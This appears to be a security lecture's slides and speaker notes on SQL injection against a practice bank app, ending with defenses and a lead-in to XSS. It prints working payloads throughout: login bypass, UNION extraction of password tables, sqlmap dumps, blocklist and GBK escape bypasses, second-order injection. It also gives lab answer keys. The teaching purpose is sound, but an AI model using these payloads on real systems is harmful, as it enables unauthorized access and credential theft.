I typed the payload into DemoBank’s login form. This is what came back. The attacker can also pick the victim. $ curl -d "name=admin' --&pw=x" http://localhost:8001/login <h2>Welcome, admin!</h2> admin' -- closes the name and comments out the password check, so the attacker is logged in as admin. The attacker needed no password at all, only a user name, or not even that. The quote and the two dashes are the whole trick. Login pages are the classic target because they always send user text into a query. But every place where user text reaches a query is a target: search, filters, sorting, and even cookies. The next slide shows this exact payload breaking into a real system in 2024.
Here it is for real. I typed the payload into DemoBank’s login form, with any password, and clicked log in. Welcome, alice. And the attacker can choose the victim: admin quote dash dash closes the name and comments out the password check, and now we are admin. No password needed, only a user name. Login pages are the classic target because they always send user text into a query, but any place where user text reaches a query will do: search boxes, filters, sorting, even cookie values. And if you think this is a museum piece, the next slide is from 2024.
[ x] In 2024, a quote opened the airport cockpit list
Ian Carroll, ian.sh/tsa, August 29, 2024. Known Crewmember lets airline pilots and flight attendants skip airport security screening. CASS lets them ride in the cockpit jump seat. Small airlines manage their crews in a web app called FlyCASS. Ian Carroll and Sam Curry tried a quote on its login page. username: ' or '1'='1 password: ') OR MD5('1')=MD5('1 -> logged in as an administrator of Air Transport International With no further check, they added a made-up employee called Test TestOnly and approved that person for both Known Crewmember and cockpit access. They reported it to the FAA and the operator on April 23, 2024. By May 7, the government confirmed FlyCASS was cut off from both systems. The payload is the one from our slides, from a classic attack first described in the late 1990s. The TSA disputed how much the bug allowed. The researchers answered those claims in their post. They confirmed the bug with sqlmap, a tool we meet soon.
Here is the same payload in 2024. Known Crewmember is a TSA program that lets airline crews skip airport security screening, and CASS lets pilots ride in the cockpit jump seat. Small airlines manage their crews through a web app called FlyCASS. Ian Carroll and Sam Curry typed quote or one equals one into its login page, and they were an administrator of a cargo airline. With no further check, they added a made-up employee called Test TestOnly and approved the account for both programs. They reported it on April 23, 2024; by May 7 FlyCASS was disconnected. The TSA disputed the impact, and the researchers responded in their post. The point for us: the exact payload from our slide, against an important system, in 2024.
[ >] We practice in a four-level lab as we go
http://165.22.35.184:54331 Scan this code, or type the address. Pick one nickname, and use it for every level. In level 1, you log in as admin. It opens after question 1. In level 2, you read a hidden table. It opens after the UNION recipe. In level 3, you get past a blocklist. It opens after defense 1. In level 4, you get past escaping. It opens after defense 2. Levels 3 and 4 are the same bank after our first two defenses. Each level stays locked until we reach it. Then I show its password on a slide.
Time to practice. Open this lab now: it is DemoBank again, with four levels, and each level practices one idea from today. Level 1 opens after the first question: you log in as admin. Level 2 opens after the UNION recipe: you read a table that no page shows. Levels 3 and 4 are the same bank after the first two defenses we study, a blocklist and escaping, and you get past each of them. Every level is locked until we reach it in the lecture; then I show its password on a slide. Pick one nickname and use it for every level.
[ >] Level 1 asks you to log in as admin
Type this password on the level 1 page. magnet-cobalt-164 http://165.22.35.184:54331/level1 This code opens the lab. Log in to the staff portal as admin. Nobody told you the PIN. It practices the tree from question 1. Start with the warm-up payload, and read the error. DemoBank SQL injection lab ! http://165.22.35.184:54331/level1 You have 5 minutes. Submit the flag on the home page under your nickname.
Level 1 is open. The password is on the slide; type it on the level page. Your task: log in to DemoBank’s staff portal as admin, without the PIN. Start with the payload from the warm-up, and read the error message carefully. It tells you the shape of the query. You have five minutes.
[ +] Level 1 needs the quote and the bracket closed
Step 1: the warm-up payload breaks the query, and the error prints its shape. SELECT name FROM staff WHERE (name = ' ' OR 1=1 -- ') AND (pin = 'x') The comment also hides the closing bracket, so the database says: incomplete input. Step 2: close the quote and the bracket. That logs in as the first row. SELECT name FROM staff WHERE (name = ' ') OR 1=1 -- ') AND (pin = 'x') The page says: Welcome, alice. Only admin sees the flag. Step 3: name the row you want, then close the bracket. SELECT name FROM staff WHERE (name = ' admin') -- ') AND (pin = 'x') You are admin, and the page shows the level 1 flag. Read the query’s shape first. The payload must close everything the programmer opened.
Level 1 solution. Step one: the warm-up payload, quote OR one equals one dash dash. The error says incomplete input, and the page prints the query: the programmer wrapped each condition in brackets, and our comment hid the closing one. Step two: close the quote and the bracket, then OR one equals one. That logs in, but as the first row, alice, and only admin sees the flag. Step three: just name admin, close the quote and the bracket, and comment out the PIN check. The lesson is the tree: read the query’s shape first, then write text that completes it.
[ ?] What could you type to see everyone’s password?
Today, Alice types rent. rent Search memo amount dest rent october 900 landlord The page shows her rent payment. Could some other text do this? ? Search name password alice hunter2 bob correcthorse carol tr0ub4dor admin S3cretAdm1n! The same page lists every password. The page prints whatever rows its query returns. The passwords sit in another table, called users.
Here is the question for this part. Today, Alice types rent into DemoBank’s search box, and the page shows her rent payment. Same page, same box: is there some text she could type instead, so that the page lists every user’s name and password? Think about it for a moment. The page prints whatever rows its query returns, and the passwords sit in a different table, called users. So the question is really: can our text make the query read a different table? The next few slides give us the SQL we need, and then we try it on DemoBank live.
[ +] The search page finds memos that contain a word
DemoBank ! http://165.22.35.184:54332/search DemoBank Search your transfers rent Search Alice types rent into the input field, the orange box. Behind the page, the code runs this query. SELECT memo, amount, dest FROM transfers WHERE owner = 'alice' AND memo LIKE '% rent %' LIKE compares text with a pattern. A % stands for any text. Which pattern? Which memos match? 'rent%' Memos that start with rent. '%rent' Memos that end with rent. '%rent%' Memos that contain rent. Alice has three transfers. One memo contains rent. memo amount dest rent october 900 landlord coffee 5 cafe mortgage payment 1100 bank Your word lands between two quotes in the query. The query returns three columns. The page prints every row that comes back. The search word becomes part of the query’s text, between two quotes.
Here is DemoBank’s search page. Alice searches her transfers for rent. Behind the page, the code runs this query: select memo, amount and destination from transfers, where the owner is alice and the memo is LIKE percent rent percent. LIKE compares text with a pattern, and a percent sign stands for any text. So rent percent means the memo starts with rent, percent rent means it ends with rent, and percent rent percent means it contains rent anywhere. Alice has three transfers, and only rent october contains rent, so the page shows one row. Three facts to remember: your word lands between two quotes, the query returns three columns, and the page prints every row it gets.
[ +] UNION stacks the rows of two queries
Here are two ordinary queries on two different tables. SELECT memo, amount, dest FROM transfers WHERE owner = 'alice' It returns 3 columns. memo amount dest rent october 900 landlord coffee 5 cafe mortgage payment 1100 bank UNION It returns 3 columns. SELECT name, password, balance FROM users name password balance alice hunter2 1250 bob correcthorse 8240 The database returns one table. memo amount dest rent october 900 landlord coffee 5 cafe mortgage payment 1100 bank alice hunter2 1250 bob correcthorse 8240 Rule 1: both queries need the same number of columns. With 2 columns on one side, the database refuses. Rule 2: the column names come from the first query. So name is renamed to memo, and password to amount. UNION lets one query print rows from a second table, as long as the column counts match.
One new SQL word before any attack: UNION. Here are two ordinary queries. The first reads alice’s transfers: memo, amount, and destination. The second reads the users table: name, password, and balance. Put the word UNION between them, and the database runs both and returns one table, with the rows of the second stacked under the rows of the first. Two rules, and they come with the result. Both queries must return the same number of columns, here three and three; with two columns on one side, the database refuses. And the result keeps the first query’s column names, so the users’ name column is renamed to memo, and alice’s password shows up under amount. Keep that picture in mind: one query can print rows from a completely different table.
[ +] ORDER BY sorts the rows by a column
ORDER BY sorts the result. Here it sorts by amount. SELECT memo, amount, dest FROM transfers WHERE owner = 'alice' ORDER BY amount memo amount dest coffee 5 cafe rent october 900 landlord mortgage payment 1100 bank A number names a column by its position, so ORDER BY 2 sorts by amount too. Column 1 is memo, column 2 is amount, and column 3 is dest. This query has no fourth column, so ORDER BY 4 fails. SELECT memo, amount, dest FROM transfers ... ORDER BY 4 Error: 1st ORDER BY term out of range - should be between 1 and 3 ORDER BY n works only if the result has at least n columns. The first error reveals the count.
One more SQL word. ORDER BY sorts the result; here, alice’s transfers sorted by amount: coffee, rent, mortgage. Instead of a name, you can give a column’s position: ORDER BY 2 means the second column, which is amount, so it gives the same order. Column one is memo, two is amount, three is dest. And there is no column four, so ORDER BY 4 fails, and SQLite says exactly why: out of range, should be between 1 and 3. So ORDER BY n works only if the result has at least n columns, and the first error tells you how many there are. Remember the UNION rule from the last slide: the column counts must match. Next we see why an attacker cares.
[ x] Step one is counting the columns
The attacker cannot see the query, so they measure it through the input field. DemoBank ! http://165.22.35.184:54332/search DemoBank Search your transfers Search The query then ends like this: ... memo LIKE '% %' Which n? What does the page show? 1 Rows come back. 2 Rows come back. 3 Rows come back. 4 Error: should be between 1 and 3. The first error comes at 4, so the query has 3 columns. So the second SELECT must also return 3 columns. A helpful error message tells the attacker the shape of the query.
The attacker cannot see DemoBank’s code, so first they measure the query. Through the search box, they add ORDER BY with a number to the end of the query, exactly the ORDER BY from the last slide. One, two, three: rows come back. Four: an error, and DemoBank’s message even says it out loud: should be between one and three. So the query returns three columns, and the second SELECT, the one that will read the users table, must return three columns too.
[ x] UNION prints a table the page never meant to show
The attacker types this into the search box: ' UNION SELECT name, password, balance FROM users -- This is DemoBank’s real search result. Every user’s name and password shows up as a transfer. This assumes we know the table is called users. Soon the database tells us its table names. Real sites store password hashes, so the attacker cracks the weak ones offline.
And here is the real result. The attacker types quote UNION SELECT name, password, balance FROM users dash dash into the search box, and DemoBank lists every user’s name and password as if they were transfers. The page printed the rows of the second query in the columns of the first. A real site would store password hashes, so the attacker would get hashes and crack the weak ones offline, exactly as in the hashing lecture. But card numbers, addresses, and order histories are not hashed at all. Notice one assumption: we typed users because we already knew the table’s name. Soon the database tells us its table names itself.
[ +] SQLite keeps a list of its own tables
Every SQLite database has a built-in table that lists its tables. SELECT name, sql FROM sqlite_master name sql comments CREATE TABLE comments (id INTEGER PRIMARY KEY, author TEXT, body TEXT) transfers CREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, memo TEXT, ...) users CREATE TABLE users (id INTEGER, name TEXT, password TEXT, balance INTEGER) Each row is one table: its name, and the CREATE statement with every column. A SELECT can also return a constant. Every row then gets the same value. SELECT name, sql, 0 FROM sqlite_master name sql 0 comments CREATE TABLE comments (id INTE... 0 transfers CREATE TABLE transfers (id INT... 0 users CREATE TABLE users (id INTEGER... 0 Now the result has three columns, the same as the search page. The 0 only fills a gap. A constant such as 0 or 1 is a filler. It makes the column counts match, nothing more.
Two more pieces of plain SQL. First, every SQLite database has a built-in table called sqlite_master that lists its tables: one row per table, with its name and the CREATE statement that made it, so you can see every column. MySQL and PostgreSQL keep the same information in information_schema. Second, a SELECT does not have to read only columns: you can put a constant in the list, and every row gets that same value. Select name, sql, and zero from sqlite_master gives three columns, the third always zero. Why would anyone do that? Remember the UNION rule: the column counts must match. The search page returns three columns, and here we only want two, so the zero is a filler. It means nothing; it only makes the counts match.
[ x] The database hands out its own map
How did the attacker know there is a table called users, with a column called password? real output from DemoBank $ curl "localhost:8001/search?q=' UNION SELECT name, sql, 0 FROM sqlite_master --" comments CREATE TABLE comments (id INTEGER PRIMARY KEY, author TEXT, body TEXT) transfers CREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, memo TEXT, ...) users CREATE TABLE users (id INTEGER, name TEXT, password TEXT, balance INTEGER) sqlite_master is SQLite’s list of tables, from the last slide. Count the columns, read the list of tables, then read any table.
But how did the attacker know there was a table called users with a column called password? They asked the database. Every database keeps a catalog table that describes all its other tables: SQLite calls it sqlite_master, MySQL and PostgreSQL call it information_schema. One UNION reads the map, the next reads any table on it. So hiding your table names is pointless; the database publishes them. One injectable search box exposes the entire database: count the columns, read the catalog, read anything.
[ >] Level 2 asks you to read a table no page shows
Type this password on the level 2 page. jungle-river-453 http://165.22.35.184:54331/level2 This code opens the lab. Somewhere in the bank’s database is a table that no page shows. Find the secret inside it. It practices the three steps we just saw: count the columns, read the map, and read the table. DemoBank SQL injection lab ! http://165.22.35.184:54331/level2 You have 8 minutes. Submit the flag on the home page under your nickname.
Level 2 is open. This page searches alice’s transfers and prints three columns. The flag sits in a table with a random name that no page ever shows. Use exactly the three steps from the last slides: count the columns with ORDER BY, read sqlite_master, then UNION the table. Eight minutes.
[ +] Level 2 is the three-step UNION recipe
Step 1: ORDER BY counts the columns. A fourth column does not exist. zzz' ORDER BY 4 -- The error says: 1st ORDER BY term out of range - should be between 1 and 3. Step 2: sqlite_master is the map of every table, so we print it in three columns. zzz' UNION SELECT name, sql, 1 FROM sqlite_master -- transfers CREATE TABLE transfers (id INTEGER PRIMARY KEY, owner TEXT, ...) users CREATE TABLE users (name TEXT, password TEXT) vault_a5d8 CREATE TABLE vault_a5d8 (id INTEGER, code_78 TEXT) The 1 is a filler. The search query has three columns and we need only two, so a constant fills the third. Step 3: UNION reads the hidden table, now that we know its name. zzz' UNION SELECT code_78, 1, 2 FROM vault_a5d8 -- The first row of the result is the level 2 flag. Count the columns, read the map, then read any table. A table that no page shows is not hidden.
Level 2 solution, which is exactly the recipe. Step one: ORDER BY 4 fails with out of range, between 1 and 3, so the query has three columns. Step two: UNION SELECT name, sql, 1 FROM sqlite_master prints every table with its CREATE statement, including the vault with its random name and column. Step three: UNION SELECT that column from that table, padded to three columns, and the flag is the first row. No page ever showed this table. It did not matter.
[ x] Error messages show the attacker the whole query
A customer called O’Brien searches for their own name. The apostrophe in the name ends the quote too early, so the query crashes. Many injection bugs are found this way. The error prints the whole query, so the attacker sees the table, the columns, and the quotes. Never show database errors to users. Log them, and show a plain error page.
A customer called O’Brien searches for their own name, and the page crashes, because the apostrophe ends the quote too early. Many injection bugs are found exactly like this, as a crash. Worse, the error message prints the whole query: the table, the columns, and exactly where the quotes are. That is a gift to the attacker. The fix for this part is simple: log the error for the developers, and show users a plain error page.
[ x] An injection can also destroy data
Randall Munroe, xkcd.com/327, October 2007, CC BY-NC 2.5. The son’s name ends the INSERT and starts a second command. Robert'); DROP TABLE Students; -- This works only where the database library runs several statements from one string. An injection inside an UPDATE or a DELETE needs no second statement. It can already reach every row. Injection can change and delete data, not only read it.
So far we read data. Of course an attacker can destroy it too. This is xkcd 327, Exploits of a Mom: the son’s name closes the INSERT and starts a second statement that deletes the table. One accuracy note: this needs a database library that runs several statements from one string, and many do not. But even without that, an injection that lands inside an UPDATE or a DELETE can reach every row.
[ x] A free tool does all of this automatically
real output: sqlmap 1.10.10 against DemoBank $ sqlmap -u "http://localhost:8001/search?q=rent" --batch --dump -T users [INFO] target URL appears to have 3 columns in query [INFO] GET parameter 'q' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable sqlmap identified the following injection point(s) with a total of 31 HTTP(s) requests: back-end DBMS: SQLite Table: users +----+-------+---------+--------------+ | id | name | balance | password | +----+-------+---------+--------------+ | 1 | alice | 1250 | hunter2 | | 2 | bob | 8240 | correcthorse | | 3 | carol | 310 | tr0ub4dor | | 4 | admin | 99999 | S3cretAdm1n! | +----+-------+---------+--------------+ sqlmap is a free tool that does everything we did by hand. It found the injection and dumped the users table in 31 requests. An attacker needs no skill, only one injectable input. Scan only systems you may test.
Everything we did by hand, a free tool does automatically. sqlmap is open source; here is real output against DemoBank. In 31 requests it counted the columns, found the UNION injection in the search parameter, identified the database as SQLite, and dumped the users table. It also tries blind, time-based, error-based and stacked techniques on its own; the FlyCASS researchers used it to confirm their bug. So the attacker does not need to be clever; they need one injectable parameter, and automated scanners try every parameter of every site all day long. And of course: only run tools like this against systems you own or have written permission to test.
[ ?] How do we stop SQL injection?
1. What is the bug? One quote turns data into code. 2. What can the attacker do? Log in as anyone, and read every table. 3. How do we stop it? We follow each defense and its bypass. 4. Where else does it happen? It also breaks NoSQL, shells, and paths. Each defense was really deployed, and each bypass really worked. Judge every one by the tree.
Now the race. Each defense in this part was really deployed by real sites, and each bypass really worked. We judge every defense against the tree picture: does it keep the shape of the query fixed, or does it only make bad input less likely?
[ +] Can we just block the dangerous words?
Defense 1: reject any input that contains SQL words or symbols. The filter blocks these: ' -- ; OR UNION SELECT DROP SLEEP ' OR '1'='1' -- The textbook payload is stopped. uNiOn/**/sElEcT name, password FROM users Mixed case and a comment slip past the list. The database runs them. 5 || 1=1 Here || means OR, and a number needs no quote. admin'# MySQL also starts a comment with #. The list also blocks real customers: O’Brien cannot sign up. A blocklist guesses what attacks look like. The attacker needs only one spelling it missed.
The first defense everyone tries: reject input containing SQL words or symbols. Quote, dash dash, semicolon, OR, UNION SELECT, DROP, SLEEP. The textbook payload is stopped. But the attacker writes union select in mixed case, with a comment instead of the space, and the pattern does not match. Some databases accept double pipe for OR. And the list is always incomplete. Meanwhile the filter blocks real customers: O’Brien cannot sign up and a search for rock and roll fails. A blocklist guesses what attacks look like; the attacker needs only one spelling the list missed. Judged by the tree picture, it does not keep the tree fixed at all; it just hopes.
[ x] A number in the query needs no quote to break
Many queries put a number in the WHERE, with no quotes around it. q = "SELECT memo, amount FROM transfers WHERE id = " + request.args["id"] A normal request asks for transfer 5. SELECT memo, amount FROM transfers WHERE id = 5 The attacker sends 5 OR 1=1, which contains no quote at all. SELECT memo, amount FROM transfers WHERE id = 5 OR 1=1 Every transfer of every customer comes back. A number has no quotes around it, so blocking or escaping quotes does nothing here. Checking that the input really is a number stops this, if the developer remembers every time.
Before the next defense, an important variant. Many queries put a number in the WHERE with no quotes around it: transfers where id equals five. The attacker sends five OR one equals one. There is no quote anywhere, and every transfer of every customer comes back. A number has no quotes around it, so the data ends at the first space. Every defense that watches for quotes, blocking them or escaping them, does nothing here. Checking that the input really is a number would stop it, if the developer remembers, in every one of thousands of queries.
[ >] Level 3 puts a blocklist in front of the bank
Type this password on the level 3 page. spider-parrot-373 http://165.22.35.184:54331/level3 This code opens the lab. The bank from level 2 now rejects dangerous words. Read the vault again, past the blocklist. It practices the blocklist slide and the number slide. Both of them are in the code on the right. the defense code, as the level page shows it BLOCKED = ["'", '"', "--", "#", ";", " ", "UNION", "union", "SELECT", "select", "OR", "or", "FROM", "from"] if any(bad in id for bad in BLOCKED): return "Blocked: that looks like an attack." query = ("SELECT memo, amount FROM transfers " "WHERE owner = 'alice' AND id = " + id) The list is the first defense from our slides. The query puts a number in the WHERE, with no quotes. You have 8 minutes. Submit the flag on the home page under your nickname.
Level 3. This is the same bank and the same vault as level 2, but the developer watched our lecture up to defense one and added a blocklist. The level page shows the exact code: quotes, comments, semicolons, spaces and a few SQL words are rejected. Notice where the id goes in the query, with no quotes around it. The last two slides have everything you need. Eight minutes.
[ +] Level 3 needs no quote and other spellings
Step 1: the id is a number, so the payload needs no quote. But the space is blocked. 2 OR 1=1 Blocked: your input contains a space. Step 2: a comment works as a space in SQL. Now the word OR is blocked. 2/**/OR/**/1=1 Blocked: your input contains "OR". Step 3: SQL ignores case, and the list does not. 2/**/oR/**/1=1 Every transfer comes back, so the filter is beaten. Step 4: the vault from level 2 holds a new code. 0/**/UnIoN/**/SeLeCt/**/code_78,1/**/FrOm/**/vault_a5d8 The first row of the result is the level 3 flag. The list guessed a few spellings, and SQL accepts many more. A tab or a new line works as a space, too.
Level 3 solution. Step one: the id is a number with no quotes around it, the number slide, so we never need a quote. But two OR one equals one is blocked for the space. Step two: SQL treats a comment as a space, so slash star star slash. Now OR is blocked. Step three: the list blocks OR and lowercase or, but SQL ignores case, so mixed case passes, and every transfer comes back. Step four: the same UNION as level 2, written in mixed case with comments, reads the vault. Many of you also found that a tab works as a space. The list guessed spellings; SQL accepts many more.
[ +] Escaping turns quotes into plain characters
Defense 2: put a backslash before every quote, so the database reads it as a plain character. name = addslashes(form["name"]) # PHP; also mysql_real_escape_string O’Brien works now. WHERE name = ' O\'Brien ' The backslash says that this quote is data. The textbook payload stays inside the string. WHERE name = ' \' OR \'1\'=\'1\' -- ' Every quote is escaped. The tree is safe. Escaping works only if every value is escaped, every time, in every character set. The next slides break it twice: once with a character set, and once with a stored name. Escaping still glues data into code. It only tries to make the data harmless first.
Defense two: escaping. Put a backslash before every quote, so the database reads it as a plain character. In PHP that was addslashes or mysql_real_escape_string. O’Brien works now: backslash-quote is data. The textbook payload stays inside the string, every quote escaped. This was the standard advice for about ten years. But look at what it requires. The developer must escape every single value in every query. Every value must sit inside quotes, and numbers do not. The escaping function and the database must agree on what a quote is. And data read back from the database must be escaped again. The red lines are exactly the bypasses. The next slide breaks the third one.
[ x] A Chinese character can swallow the backslash
The attacker sends two bytes. BF 27 BF alone is not a character. 27 is a quote. addslashes reads one byte at a time and puts a backslash before the quote. BF 5C 27 5C is a backslash. The quote looks escaped. The database reads GBK, so it takes BF and the next byte as one character. 縗 27 The backslash became half of 縗. The quote is free. In GBK, a byte from 81 to FE starts a two-byte character, and 5C is a legal second byte. The escaper saw three characters. The database saw two. The escaper and the database read the same bytes differently, so the backslash disappears.
Here is a beautiful bypass of escaping. The site escapes quotes with a backslash, and its database connection uses GBK, an encoding for Chinese where many characters take two bytes. The attacker sends two bytes: BF, which is not a character on its own, and 27, a quote. addslashes reads one byte at a time: it does not know GBK, it sees a quote, and it puts a backslash, 5C, in front of it. Now look at the same bytes the way the database reads them. In GBK, a byte from 81 to FE starts a two-byte character, and 5C is a legal second byte. So the database reads BF 5C together as one Chinese character, and the quote after it is free. The escaper saw three characters; the database saw two. The backslash was swallowed.
[ +] UTF-8 and placeholders close this hole
In GBK, 縗 is the bytes BF 5C. Its second byte is the backslash byte. BF 5C = 縗 In UTF-8, 縗 is E7 B8 97. Every byte of it is 80 or more. E7 B8 97 = 縗 So in UTF-8, a 5C byte is always a backslash, and a 27 byte is always a quote. Python shows the attack with real bytes: real output, Python >>> raw = b"\xbf\x27 OR 1=1 -- " >>> escaped = raw.replace(b"'", b"\\'") # what addslashes does >>> escaped[:3].hex(" ") 'bf 5c 27' >>> escaped.decode("gbk") "縗' OR 1=1 -- " MySQL and PostgreSQL fixed their escaping functions in 2006 to follow the connection’s character set. It still breaks if the code switches the character set without telling the escaper. The lasting fix is a placeholder: then no byte of the data is ever parsed as code.
Why did this work in GBK? Because in GBK the second byte of a character can be 5C, the same byte as a backslash. UTF-8 was designed differently: every byte of a multi-byte character is 80 or more, so a 5C byte is always a backslash and a 27 byte is always a quote, and this trick cannot happen. Here is the attack in Python with real bytes. MySQL and PostgreSQL both fixed their escaping functions in 2006 to follow the connection’s character set, but it still breaks when the code switches the character set without telling the escaper. The lasting fix is not better escaping; it is a placeholder, so that no byte of the data is ever parsed as code.
[ x] A payload can wait in the database for weeks
Day 1: the attacker signs up with a strange user name. admin'-- The signup code escapes the name, so the INSERT is safe. The database stores admin’--. Day 30: the attacker changes their password. The code reads the name back from its own database and trusts it. UPDATE users SET password = 'pwned' WHERE name = ' admin'-- ' The quote closes the name early, and the dashes hide the rest. The admin password changes. This is second-order injection. The first query was safe; the second trusted stored text. But the name was escaped. Where did the backslash go? The next slide follows it. Text that a user once typed is still user text, even when it comes back from your own database.
Escaping has a second weakness. On day one, the attacker signs up with the user name admin quote dash dash. The signup code escapes it properly, so that INSERT is perfectly safe, and the database stores the name as is. On day thirty, the attacker changes their password. The password-change code reads the user name back from its own database, and, thinking its own data is trustworthy, glues it into an UPDATE. The quote closes the name early, the dashes hide the rest, and the admin’s password changes. This is second-order injection: the payload waits inside the database. The lesson: any text a user once typed is still user text, wherever you read it from. And it breaks every defense that only checks input on the way in.
[ x] The backslash never reaches the database’s storage
1 Day 1: the attacker signs up with this name. admin'-- 2 The signup code escapes it, so the INSERT text gets a backslash. INSERT INTO users (name) VALUES (' admin \ '-- ') The backslash says: this quote is data. 3 The database reads the backslash, then stores the name without it. admin'-- The backslash is used up. It is never stored. 4 Day 30: the password code reads the name back and glues it in, unescaped. UPDATE users SET password = 'pwned' WHERE name = ' admin'-- ' No backslash this time, so the quote ends the name early. Escaping happened once, on the way in. Nothing escaped the name on the way back out. Escaping protects one query. Placeholders protect every query, even ones that read stored text.
How exactly did that get past the escaping? Follow the backslash. Day one: the attacker signs up with a name that contains a quote. The signup code escapes it, so the INSERT text has a backslash before the quote, and that INSERT is perfectly safe. But the backslash is only an instruction to the parser: this quote is data. The database reads it, uses it up, and stores the name exactly as typed, without any backslash. Day thirty: the password code reads that name back from its own database and glues it into an UPDATE, without escaping it again, because it trusts its own data. This time there is no backslash, so the quote ends the name early. Escaping happened once, on the way in; nothing escaped the name on the way back out. Placeholders protect every query, including the ones that use stored text.
[ >] Level 4 escapes every quote on the way in
Type this password on the level 4 page. pencil-jungle-915 http://165.22.35.184:54331/level4 This code opens the lab. The bank replaced the blocklist with escaping. Log in as admin anyway. It practices the escaping slide and the slide about payloads that wait in the database. the defense code, shortened from the level page def esc(s): # SQLite writes ' as '' return s.replace("'", "''") # Sign up: the name is escaped, so this is safe. db.execute("INSERT INTO users VALUES ('" + esc(name) + "', '" + esc(pw) + "')") # Change password: the name comes from our own # database, so it must be safe... right? me = name_of_the_logged_in_user() db.execute("UPDATE users SET password = '" + esc(new) + "' WHERE name = '" + me + "'") Every value that you type is escaped. Look for a value that you did not type in this request. You have 10 minutes. Submit the flag on the home page under your nickname.
Level 4, the last one. The developer replaced the blocklist with escaping, defense two. SQLite escapes a quote by doubling it, and every value you type is escaped. Read the code on the right: one query uses a value that you did not type in that request. The last slide tells you what to do with it. Everyone gets a private copy of the bank, so nothing you do affects anyone else. Ten minutes.
[ +] Level 4 stores the payload first and uses it later
1 Sign up with this name, and the password x. admin' -- 2 The signup code escapes the name. In SQLite, two quotes in a row mean one quote. INSERT INTO users VALUES (' admin '' -- ', 'x') The doubled quote is data, so this INSERT is safe. 3 The database stores the name with one quote. Log in with it. admin' -- You are logged in as this strange user, not as admin. 4 Change your password to mine. The code reads your name back and glues it in raw. UPDATE users SET password = 'mine' WHERE name = ' admin' -- ' The quote ends the name, and the dashes hide the rest. So this changes admin’s password. 5 Log out, and log in as admin with the password mine. The level 4 flag appears. Escaping guards the way in. Text from your own database is still user text.
Level 4 solution, which is the second-order story from the lecture, step by step. One: sign up with a name that contains a quote and two dashes, and the password x. Two: the signup code escapes the name. SQLite does not use a backslash for this; it writes a quote twice, and two quotes in a row mean one quote character. The doubled quote is data, so the INSERT is safe. Three: the database stores the name with a single quote, exactly as you typed it. Log in with that name; you are now that strange user, not admin. Four: change your password to mine. The password code reads your name back from its own database and glues it into the UPDATE without escaping it. The quote ends the name, the dashes hide the rest, and the UPDATE changes admin’s password instead of yours. Five: log out, log in as admin with the password mine, and the flag appears. Escaping guarded the way in; nothing guarded the way back out.
[ +] Last time, we answered two of four questions
1. What is the bug? One quote turns data into code. 2. What can the attacker do? Log in as anyone, and read every table. 3. How do we stop it? We follow each defense and its bypass. We stopped in the middle of this one. 4. Where else does it happen? It also breaks NoSQL, shells, and paths. Today we finish SQL defenses, apply the rule elsewhere, and begin XSS.
Welcome back. We answered what SQL injection is and what it can do. We started the defense question and beat two attempted defenses in the lab. Today we finish the defense story in three short slides, carry the separation rule to other interpreters, and begin cross-site scripting. One picture recalls how input changed the query tree.
[ +] Recap: one quote changed the shape of the query
The attacker typed this as the name. DemoBank ! http://165.22.35.184:54332/login DemoBank Name admin' -- Password •••••••• Log in Welcome, admin! The code meant this tree. WHERE AND = = name data password data The attacker’s text built this tree. WHERE = name 'admin' password ... The two dashes turned the rest of the query into a comment, so the password check is gone. SQL injection happens when user text changes the shape of the query, not just its values.
Picture one. On DemoBank’s login page, the attacker typed admin quote dash dash as the name. The code meant a tree with a name branch and a password branch, and two orange leaves for the user’s data. The attacker’s text built a different tree: the quote closed the name early, and the two dashes turned the password branch into a comment. So the query only asks for admin, and the page says welcome, admin. That is the definition we kept: user text changes the shape of the query, not just its values.
[ +] A prepared statement fixes the SQL tree first.
1. The database parses the SQL. SELECT name FROM users WHERE name = ? = name ? The ? is a placeholder for one name that arrives later. 2. The app binds one value. ("admin' --",) = name "admin' --" The name fills that slot without changing the SQL. Python passes the SQL and name as separate arguments. cur = conn.cursor() cur.execute("SELECT name FROM users WHERE name = ?", (name,)) 3. The database runs the fixed tree. 0 matching rows The quote and dashes stay inside that one value.
The app must search for a visitor-supplied name that arrives later, but it must keep the query structure fixed. The question mark is a placeholder: it reserves one value slot while SQLite parses the SQL template. Point next to the middle tree. The app binds the user text as one string, so only the orange leaf changes; the blue equals and name nodes stay fixed. The quote and dashes inside the string are not parsed as SQL. The database then runs the fixed statement. In Python, conn.cursor() creates cur. cur.execute(sql, (name,)) sends the SQL template and a one-item tuple of values to the driver; the comma in (name,) makes it a tuple. SQLite calls the underlying operations prepare, bind, and step.
[ +] Allowlists control SQL column and table names.
A visitor chooses how to sort. sort = "by_amount" The request names an option. sort = "by_amount" The visitor controls this option, so the app checks it. "anything_else" -> rejected The app owns the SQL names. SORT = {"by_memo": "memo", "by_amount": "amount"} column = SORT[sort] Only a listed option returns a column name. sql = "SELECT memo, amount FROM transfers ORDER BY " + column The result is ORDER BY amount. The visitor picks an option; the app supplies the SQL name.
The visitor asks for the by_amount sort option. The request only controls a lookup key. The fixed SORT map turns by_amount into the application-owned SQL name amount. SORT[sort] raises KeyError for an unlisted choice; the app can handle that as a validation error. Only the approved name is appended to the SQL template. Dynamic table names and sort directions need the same fixed-choice pattern.
[ +] Defense in depth limits a missed SQL injection.
Least privilege narrows database rights. A report account may read rows but cannot delete them. Generic errors hide query details. Users see "Request failed." The server logs the detail. Slow salted hashes protect stored passwords. Leaked rows contain hashes rather than plaintext passwords. A WAF may block known attack patterns. It can miss new patterns, so the app still needs safe queries. Prepared statements and allowlists prevent SQL syntax changes. These other layers limit the impact when a query is missed.
Prepared statements bind values, and allowlists constrain SQL identifiers. The four cards explain supporting layers with concrete outcomes. A report account with SELECT-only rights cannot delete data. Generic error pages avoid showing SQL details to visitors, while server logs keep them for operators. Passwords should be stored using slow, salted password hashes, so leaked rows do not directly disclose plaintext passwords. A WAF may reject known suspicious requests but can miss others. These layers do not replace safe query construction. The same code-versus-data principle will apply to the browser in the next section.
? SQL injection attacked the server. What if the attacker’s text lands in a page that other people open?
Next: the same mistake, but the interpreter is every visitor’s browser. First, we need to know how the page comes back.
[ +] Next, your text comes back inside a page
This is your browser. This is the internet. This is chase.com’s server. Cross-site scripting hits steps 7 and 8. 1 You type a URL. 2 DNS finds the server. 3 TLS locks the channel. 4 The request goes out. 5 The code runs. 6 It asks the database. 7 The page comes back. 8 The browser runs it. Steps 7 and 8: the server puts your text into a page, and the browser runs it.
